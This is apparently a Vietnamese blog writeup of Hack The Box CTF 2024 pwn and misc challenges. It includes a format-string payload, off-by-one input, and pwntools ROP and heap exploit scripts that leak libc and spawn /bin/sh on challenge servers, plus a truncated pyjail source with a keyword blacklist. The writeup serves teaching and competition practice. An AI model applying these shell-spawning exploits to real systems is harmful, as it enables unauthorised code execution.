Skip to main content

Hack The Box CTF 2024 - PWN & MISC writeup

·2201 words·11 mins
pwn hackthebox 2024
Author
Lio
Trying to exploit this shell program called life that I never get control of.
Table of Contents

Pwn
#

Delulu
#

Mô tả: HALT! Recognition protocol initiated. Please present your face for scanning.

Phân tích source code
#

Chương trình chỉ có 2 hàm maindelulu (dùng dể in flag). Code của hàm main thì trông như thế này:

int __fastcall main(int argc, const char **argv, const char **envp)
{
    __int64 v4[2]; // [rsp+0h] [rbp-40h] BYREF
    __int64 buf[6]; // [rsp+10h] [rbp-30h] BYREF

    buf[5] = __readfsqword(0x28u);
    v4[0] = 0x1337BABELL;
    v4[1] = (__int64)v4;
    memset(buf, 0, 0x20);
    read(0, buf, 31uLL);
    printf("\n[!] Checking.. ");
    printf((const char *)buf);
    if ( v4[0] == 0x1337BEEF )
    {
        delulu();
    }
    else
    {
        error("ALERT ALERT ALERT ALERT\n");
    }

    return 0;
}

Để ý thì thấy chương trình dính lỗi format strings. Vị trí cần được ghi đè là tại biến v4[0] (index thứ 6 trên stack) với giá trị là 0x1337BEEF.

Ta đã có sẵn địa chỉ của vị trí này tại v4[1] đồng thời tại đây đã lưu sẵn giá trị 0x1337BABE nên chỉ khác duy nhất 2 byte đầu so với giá trị mục tiêu cần ghi.

Đầu tiên cần in ra 0xBABE (48879) byte sau đó ghi giá trị này lên 2 byte đầu (sử dụng $hn) tại index thứ 7 trên stack.

TLDR: payload là %48879c%7$hn

Flag: HTB{m45t3r_0f_d3c3pt10n}

Writing on the Wall
#

Phân tích source code
#

Tương tự như bài trước cũng chỉ có 2 hàm mainopen_door (dùng dể in flag). Code của hàm main thì trông như thế này:

int __fastcall main(int argc, const char **argv, const char **envp)
{
    char buf[6]; // [rsp+Ah] [rbp-16h] BYREF
    char s2[8]; // [rsp+10h] [rbp-10h] BYREF
    unsigned __int64 v6; // [rsp+18h] [rbp-8h]

    v6 = __readfsqword(40u);
    *(_QWORD *)s2 = ' ssapt3w';
    read(0, buf, 7uLL);
    if ( !strcmp(buf, s2) )
    {
        open_door();
    }
    else
    {
        error("You activated the alarm! Troops are coming your way, RUN!\n");
    }

    return 0;
}

Chương trình khai báo biến buf 6 byte nhưng lại đọc vào đó 7 byte và sau đó mang đi so sánh với biến s2 ở dưới.

Do cơ chế so sánh của hàm strcmp sẽ đọc string đến khi chạm ký tự null byte nên ta có thể input 7 byte null để overflow xuống biến s2 và corrupt việc so sánh của hàm strcmp khiến nó so sánh 2 string rỗng với nhau.

TLDR: Khai thác lỗi off-by-one nhập 7 byte null để khiến 2 string rỗng bằng nhau

Cái này cũng easy nên khỏi cần viết script, cứ chạy thẳng payload trên CLI cũng được.

$ python -c "print('\0'*7)" | nc 94.237.54.48 59062
〰③ ╤ ℙ Å ⅀ ₷

The writing on the wall seems unreadable, can you figure it out?

>> You managed to open the door! Here is the password for the next one: HTB{3v3ryth1ng_15_r34d4bl3}

Flag: HTB{3v3ryth1ng_15_r34d4bl3}

Pet Companion
#

Mô tả: Embark on a journey through this expansive reality, where survival hinges on battling foes. In your quest, a loyal companion is essential. Dogs, mutated and implanted with chips, become your customizable allies. Tailor your pet’s demeanor—whether happy, angry, sad, or funny—to enhance your bond on this perilous adventure.

from pwn import *

context.binary = exe = ELF('pet_companion')
libc = ELF('libc.so.6')

csu1 =0x40073a # rbx, rbp, r12, r13, r14, r15
csu2 =0x400720 # r15 -> rdx, r14 -> rsi, r13 -> edi, r12 -> call
pop_rdi = 0x400743

# io = process()
# gdb.attach(io, api=True)
io = remote('83.136.250.24', 34591)

payload = b'\0'*0x48
payload += p64(csu1)
payload += p64(0) + p64(1)
payload += p64(exe.got['write'])
payload += p64(1)
payload += p64(exe.got['write'])
payload += p64(8)
payload += p64(csu2)
payload += b'\0'*0x38
payload += p64(exe.sym['main'])

io.sendlineafter(b'status: ', payload)
io.recvuntil(b'...\n\n')
libc.address = u64(io.recv(8)) - libc.sym['write']
log.info(f'libc base: {hex(libc.address)}')

payload = b'\0'*0x48
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\0')))
payload += p64(pop_rdi+1)
payload += p64(libc.sym['system'])

io.sendlineafter(b'status: ', payload)

io.interactive()
$ python exp.py
[+] Opening connection to 83.136.250.24 on port 34591: Done
[*] libc base: 0x7fad31939000
[*] Switching to interactive mode

[*] Configuring...

$ ls
flag.txt
glibc
pet_companion
$ cat flag.txt
HTB{c0nf1gur3_w3r_d0g}

Flag: HTB{c0nf1gur3_w3r_d0g}

Sound of Silence
#

Mô tả: Navigate the shadows in a dimly lit room, silently evading detection as you strategize to outsmart your foes. Employ clever distractions to divert their attention, paving the way for your daring escape!

Phân tích source code
#

Checksec lên file chương trình cho kết quả:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Chương trình lần này chỉ có duy nhất một hàm main với luồng thực thi cực kỳ đơn giản.

int __fastcall main(int argc, const char **argv, const char **envp)
{
    char v4[32]; // [rsp+0h] [rbp-20h] BYREF

    system("clear && echo -n '~The Sound of Silence is mesmerising~\n\n>> '");
    return gets(v4, argv);
}

Có thể thấy với luồng thực thi như vậy thì có thể gọi thằng hàm system thông qua PLT mà không cần phải leak libc. Tuy nhiên chương trình lại không có gadget để control rdi.

Tiến hành debug
#

Mình quyết định debug 1 xíu để xem là sau khi main gọi hàm gets thì rdi sẽ được set như thế nào.

Giá trị của các thanh ghi sau lần gọi gets trong gdb như sau:

*RAX  0x7fffffffdea0 —▸ 0x7fffffff0061 ◂— 0x0
 RBX  0x0
*RCX  0x7ffff7f9caa0 (_IO_2_1_stdin_) ◂— 0xfbad2288
*RDX  0x1
*RDI  0x7ffff7f9ea80 (_IO_stdfile_0_lock) ◂— 0x0
*RSI  0x1
*R8   0x0
 R9   0x0
*R10  0x77
 R11  0x246
 R12  0x7fffffffdfd8 —▸ 0x7fffffffe27a
 R13  0x401156 (main) ◂— endbr64
 R14  0x403dd0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
 RBP  0x7fffffffdec0 ◂— 0x1
 RSP  0x7fffffffdea0 —▸ 0x7fffffff0061 ◂— 0x0
*RIP  0x401182 (main+44) ◂— nop

Mình thử chạy chương trình nhiều lần và để ý rằng mọi lần chạy thì sau khi gọi gets giá trị rdi luôn được set tại _IO_stdfile_0_lock. Và hàm main sẽ return với giá trị rdi này. Vậy nên nếu như mình có thể viết lên được _IO_stdfile_0_lock một string “/bin/sh” thì bằng cách này có thể gọi system và lấy được shell.

Tại đây thì mình nhận ra một điều là cả hàm getssystem đều chỉ nhận duy nhất một arg kiểu string. Do đó nếu như mình gọi hàm gets sau khi hàm main return thì nó sẽ đọc input của mình lên _IO_stdfile_0_lock, sau đó mình lại gọi tiếp hàm main từ đầu.

Khi này luồng thực thi của chương trình sẽ trở về như cũ và hàm main sẽ return với giá trị rdi vẫn là _IO_stdfile_0_lock, nơi mà lúc này đang chứa input của mình nhập vào ban nãy.

Vậy nếu trước đó mình đã nhập “/bin/sh” và sau khi main return lần này mình sẽ gọi thẳng đến system thông qua PLT, thì với giá trị rdi đang chứa địa chỉ trỏ đến string “/bin/sh”, mình sẽ chiếm được shell chương trình.

Mình thử gọi gets sau khi hàm main return và nhập “/bin/sh” vào và kiểm tra thì lúc này tại _IO_stdfile_0_lock lại chứa string “/bin.sh”. Vậy có nghĩa là input của mình sẽ bị thay đổi một chút, cụ thể là ký tự tại vị trí thứ 5 sẽ bị giảm đi 1. Để tạo được string “/bin/sh” thì mình chỉ cần nhập vào “/bin0sh” thôi.

Viết script khai thác
#

from pwn import *

context.binary = exe = ELF('sound_of_silence')

# io = process()
# gdb.attach(io, '''set follow-fork-mode parent''', api=True)
io = remote('94.237.58.211', 42788)

payload = b'\0'*0x28 + p64(exe.plt['gets']) + p64(exe.sym['main'])
io.sendlineafter(b'>> ', payload)
io.sendline(b'/bin0sh')
payload = b'\0'*0x28 + p64(0x401184) + p64(exe.plt['system'])
io.sendlineafter(b'>> ', payload)
io.interactive()
$ python exp.py
[+] Opening connection to 94.237.58.211 on port 42788: Done
[*] Switching to interactive mode
$ ls
flag.txt
glibc
sound_of_silence
$ cat flag.txt
HTB{n0_n33d_4_l34k5_wh3n_u_h4v3_5y5t3m}

Flag: HTB{n0_n33d_4_l34k5_wh3n_u_h4v3_5y5t3m}

Deathnote
#

from pwn import *

context.binary = exe = ELF('deathnote')
libc = ELF('libc.so.6')
# context.log_level = 'debug'

# io = process()
# gdb.attach(io, api=True)
io = remote('83.136.252.62', 32548)

def add(size, page, data):
    io.sendlineafter(b'\xf0\x9f\x92\x80', b'1')
    io.sendlineafter(b'\xf0\x9f\x92\x80', str(size).encode())
    io.sendlineafter(b'\xf0\x9f\x92\x80', str(page).encode())
    io.sendafter(b'\xf0\x9f\x92\x80', data)

def remove(page):
    io.sendlineafter(b'\xf0\x9f\x92\x80', b'2')
    io.sendlineafter(b'\xf0\x9f\x92\x80', str(page).encode())

def show(page):
    io.sendlineafter(b'\xf0\x9f\x92\x80', b'3')
    io.sendlineafter(b'\xf0\x9f\x92\x80', str(page).encode())
    io.recvuntil(b'Page content: ')
    return io.recvline(keepends=False)

add(0x80, 0, b'A' * 0x20)
add(0x80, 1, b'A' * 0x20)
add(0x80, 2, b'A' * 0x20)
add(0x80, 3, b'A' * 0x20)
add(0x80, 4, b'A' * 0x20)
add(0x80, 5, b'A' * 0x20)
add(0x80, 6, b'A' * 0x20)
add(0x80, 7, b'A' * 0x20)
add(0x80, 8, b'A' * 0x20)

remove(0)
remove(1)
remove(2)
remove(3)
remove(4)
remove(5)
remove(6)
remove(7)

libc.address = u64(show(7).ljust(8, b'\x00')) - 2206944
log.info(f'libc base: {hex(libc.address)}')

add(0x20, 0, hex(libc.sym['system']).encode())
add(0x20, 1, b'/bin/sh\x00')

io.sendlineafter(b'\xf0\x9f\x92\x80', b'42')

io.interactive()
$ python exp.py
[+] Opening connection to 83.136.252.62 on port 32548: Done
[*] libc base: 0x7f9987eb3000
[*] Switching to interactive mode
  ܀ ܀ ܀  ܀ ܀  ܀  ܀
܀  ܀   ܀ ܀   ܀  ܀  ܀
܀ Б ᾷ Ͼ Ҡ ܀  Ծ Փ Փ  ܀
܀  ܀   ܀   ܀   ܀  ܀  ܀
܀܀   ܀    ܀   ܀  ܀܀ ܀


[!] Executing § ƥ Ḝ Ƚ Ƚ !
$ ls
core
deathnote
flag.txt
glibc
$ cat flag.txt
HTB{0m43_w4_m0u_5h1nd31ru~uWu}

Flag: HTB{0m43_w4_m0u_5h1nd31ru~uWu}

Misc
#

Character
#

Mô tả: Security through Induced Boredom is a personal favourite approach of mine. Not as exciting as something like The Fray, but I love making it as tedious as possible to see my secrets, so you can only get one character at a time!

Bài chỉ cho remote để kết nối thôi. Khi kết nối thì nó sẽ hỏi mình nhập index và in ra ký tự của flag tại index đó.

Which character (index) of the flag do you want? Enter an index: 0
Character at Index 0: H
Which character (index) of the flag do you want? Enter an index: 1
Character at Index 1: T

Khá là đơn giản vì mình chỉ cần viết script đọc từng ký tự đến khi nào được flag hoàn chỉnh thì thôi.

from pwn import *

io = remote('94.237.50.250', 58986)

flag = b''

for i in range(1000):
    io.sendlineafter(b'index: ', str(i).encode())
    res = io.recvline(keepends=False)
    if b'out of' in res:
        break
    c = res.split(b': ')[1]
    flag += c

print(flag)

Flag: HTB{tH15_1s_4_r3aLly_l0nG_fL4g_i_h0p3_f0r_y0Ur_s4k3_tH4t_y0U_sCr1pTEd_tH1s_oR_els3_iT_t0oK_qU1t3_l0ng!!}

Stop Drop and Roll
#

Mô tả: The Fray: The Video Game is one of the greatest hits of the last… well, we don’t remember quite how long. Our “computers” these days can’t run much more than that, and it has a tendency to get repetitive…

Tương tự bài trước cũng chỉ có remote. Lần này thì mình sẽ được chơi một game như sau.

===== THE FRAY: THE VIDEO GAME =====
Welcome!
This video game is very simple
You are a competitor in The Fray, running the GAUNTLET
I will give you one of three scenarios: GORGE, PHREAK or FIRE
You have to tell me if I need to STOP, DROP or ROLL
If I tell you there's a GORGE, you send back STOP
If I tell you there's a PHREAK, you send back DROP
If I tell you there's a FIRE, you send back ROLL
Sometimes, I will send back more than one! Like this:
GORGE, FIRE, PHREAK
In this case, you need to send back STOP-ROLL-DROP!
Are you ready? (y/n)

Và cũng như lần trước thì mình cũng chỉ viết script để gửi lại cho chương trình đáp án tương ứng với string mà nó cho mình thôi.

from pwn import *

io = remote('83.136.249.230', 47260)

io.sendlineafter(b'(y/n) ', b'y')
io.recvuntil(b'go!\n')

while True:
    res = io.recvline(keepends=False)
    if b'HTB' in res:
        print(res)
        break
    res = res.split(b', ')
    ans = b''
    for r in res:
        if r == b'GORGE':
            ans += b'STOP-'
        elif r == b'PHREAK':
            ans += b'DROP-'
        elif r == b'FIRE':
            ans += b'ROLL-'
    io.sendlineafter(b'? ', ans[:-1])

Flag: HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}

Unbreakable
#

Mô tả: Think you can escape my grasp? Challenge accepted! I dare you to try and break free, but beware, it won’t be easy. I’m ready for whatever tricks you have up your sleeve!

Lần này thì là pyjail. Source code của chương trình như sau:

#!/usr/bin/python3

banner1 = '''
                   __ooooooooo__
              oOOOOOOOOOOOOOOOOOOOOOo
          oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
       oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
     oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
   oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
  oOOOOOOOOOOO*  *OOOOOOOOOOOOOO*  *OOOOOOOOOOOOo
 oOOOOOOOOOOO      OOOOOOOOOOOO      OOOOOOOOOOOOo
 oOOOOOOOOOOOOo  oOOOOOOOOOOOOOOo  oOOOOOOOOOOOOOo
oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
oOOOO     OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO     OOOOo
oOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOo
 *OOOOO  OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO  OOOOO*
 *OOOOOO  *OOOOOOOOOOOOOOOOOOOOOOOOOOOOO*  OOOOOO*
  *OOOOOO  *OOOOOOOOOOOOOOOOOOOOOOOOOOO*  OOOOOO*
   *OOOOOOo  *OOOOOOOOOOOOOOOOOOOOOOO*  oOOOOOO*
     *OOOOOOOo  *OOOOOOOOOOOOOOOOO*  oOOOOOOO*
       *OOOOOOOOo  *OOOOOOOOOOO*  oOOOOOOOO*      
          *OOOOOOOOo           oOOOOOOOO*      
              *OOOOOOOOOOOOOOOOOOOOO*          
                   ""ooooooooo""
'''

banner2 = '''
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠉⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠻⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⢀⠀⠀⠀⠀⢻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⣼⣰⢷⡤⠀⠈⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣇⠀⠉⣿⠈⢻⡀⠀⢸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢹⡀⠀⢷⡀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⠀⠘⣧⠀⢸⡇⠀⢻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣤⠶⠾⠿⢷⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⡆⠀⠘⣦⠀⣇⠀⠘⣿⣤⣶⡶⠶⠛⠛⠛⠛⠶⠶⣤⣾⠋⠀⠀⠀⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣄⠀⠘⣦⣿⠀⠀⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢨⡟⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣦⠀⠛⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠁⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⢠⣿⠏⠁⠀⢀⡴⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡏⠀⠀⠀⠀⠀⠀⠀⢰⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢠⠶⠛⠉⢀⣄⠀⠀⠀⢀⣿⠃⠀⠀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢷⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣀⣠⡶⠟⠋⠁⠀⠀⠀⣼⡇⠀⢠⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢷⣄⣀⣀⣠⠿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠋⠁⠀⠀⠀⠀⣀⣤⣤⣿⠀⠀⣸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠀⠀⢻⡇⠀⠀⠀⠀⢠⣄⠀⢶⣄⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠿⠟⠛⠋⠹⢿⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡀⠀⠀⠀⠀⠘⢷⡄⠙⣧⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⣴⠟⠋⠁⠀⠀⠀⠀⠘⢸⡀⠀⠿⠀⠀⠀⣠⣤⣤⣄⣄⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣀⡀⠀⠀⠀⢸⡟⠻⣿⣦⡀⠀⠀⠀⠙⢾⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠈⣇⠀⠀⠀⠀⣴⡏⠁⠀⠀⠹⣷⠀⠀⠀⠀⣠⡿⠋⠀⠀⠈⣷⠀⠀⠀⣾⠃⠀⠀⠉⠻⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡆⠀⠀⠀⠘⢷⣄⡀⣀⣠⣿⠀⠀⠀⠀⠻⣧⣄⣀⣠⣴⠿⠁⠀⢠⡟⠀⠀⠀⠀⠀⠙⢿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣾⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡽⣦⡀⣀⠀⠀⠉⠉⠉⠉⠀⢀⣀⣀⡀⠀⠉⠉⠉⠁⠀⠀⠀⣠⡿⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⡀⠀⠀⠀⠀⠀⠀⠀
⠀⢰⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠃⠈⢿⣿⣧⣄⠀⠀⠰⣦⣀⣭⡿⣟⣍⣀⣿⠆⠀⠀⡀⣠⣼⣿⠁⠀⠀⠀⠀⠀⠀⠀⢀⣤⣽⣷⣤⣤⠀⠀⠀⠀⠀
⠀⢀⣿⡆⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⢀⣴⠖⠋⠁⠈⠻⣿⣿⣿⣶⣶⣤⡉⠉⠀⠈⠉⢉⣀⣤⣶⣶⣿⣿⣿⠃⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⠀⠉⠻⣷⣄⠀⠀⠀
⠀⣼⡏⣿⠀⢀⣤⠽⠖⠒⠒⠲⣤⣤⡾⠋⠀⠀⠀⠀⠀⠈⠈⠙⢿⣿⣿⣿⣿⣿⣾⣷⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⣀⣤⠶⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⠀⠀
⢰⣿⠁⢹⠀⠈⠀⠀⠀⠀⠀⠀⠀⣿⠷⠦⠄⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉⢀⣠⠶⠋⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⠀
⣸⡇⠀⠀⠀⠀⠀⠀⠀⢰⡇⠀⠀⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠉⠉⠛⠋⠉⠙⢧⠀⠀⢸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡆
⣿⡇⠀⠀⠈⠆⠀⠀⣠⠟⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢿⠀⠀⠀⠀⠀⠀⠀⠈⠱⣄⣸⡇⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣻⡇
⢻⣧⠀⠀⠀⠀⠀⣸⣥⣄⡀⠀⠀⣾⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠂⠀⠀⠀⠀⠀⠀⣿⡇
⢸⣿⣦⠀⠀⠀⠚⠉⠀⠈⠉⠻⣾⣿⡏⢻⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣟⢘⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⢳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠐⡟⠀⠀⠀⠀⠀⠀⢀⣿⠁
⢸⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⣇⠈⠻⠷⠦⠤⣄⣀⣀⣀⣀⣠⣿⣿⣄⠀⠀⠀⠀⠀⣠⡾⠋⠄⠀⠈⢳⡀⠀⠀⠀⠀⠀⠀⠀⣸⠃⠀⠀⠀⠀⠀⠀⣸⠟⠀
⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣧⣔⠢⠤⠤⠀⠀⠈⠉⠉⠉⢤⠀⠙⠓⠦⠤⣤⣼⠋⠀⠀⠀⠀⠀⠀⠹⣦⠀⠀⠀⠀⠀⢰⠏⠀⠀⠀⠀⠀⢀⣼⡟⠀⠀
⠀⢻⣷⣖⠦⠄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⠈⢳⡀⠈⠛⢦⣀⡀⠀⠀⠘⢷⠀⠀⠀⢀⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⣠⠏⠀⠀⠀⠀⣀⣴⡿⠋⠀⠀⠀
⠀⠀⠙⠻⣦⡀⠈⠛⠆⠀⠀⠀⣠⣤⡤⠀⠿⣤⣀⡙⠢⠀⠀⠈⠙⠃⣠⣤⠾⠓⠛⠛⢿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⡴⠞⠁⢀⣠⣤⠖⢛⣿⠉⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠈⠙⢷⣤⡁⠀⣴⠞⠁⠀⠀⠀⠀⠈⠙⠿⣷⣄⣀⣠⠶⠞⠋⠀⠀⠀⠀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠶⠞⠋⠁⠀⢀⣾⠟⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠉⠻⣷⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⢙⣧⡉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣤⣀⣀⠀⠀⠈⠂⢀⣤⠾⠋⠀⠀⠀⠀⠀⣠⡾⠃⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⢀⣠⠎⣠⡾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⠀⣦⠀⠀⠀⠀⠀⠀⠀⣿⣇⢠⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠤⢐⣯⣶⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣄⠸⣆⠀⠀⠲⣆⠀⠀⢸⣿⣶⣮⣉⡙⠓⠒⠒⠒⠒⠒⠈⠉⠁⠀⠀⠀⠀⠀⢀⣶⣶⡿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠷⠾⠷⣦⣾⠟⠻⠟⠛⠁⠀⠈⠛⠛⢿⣶⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⣨⣾⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠙⠛⠛⠛⠻⠿⠿⠿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
'''

blacklist = [ ';', '"', 'os', '_', '\\', '/', '`',
              ' ', '-', '!', '[', ']', '*', 'import',
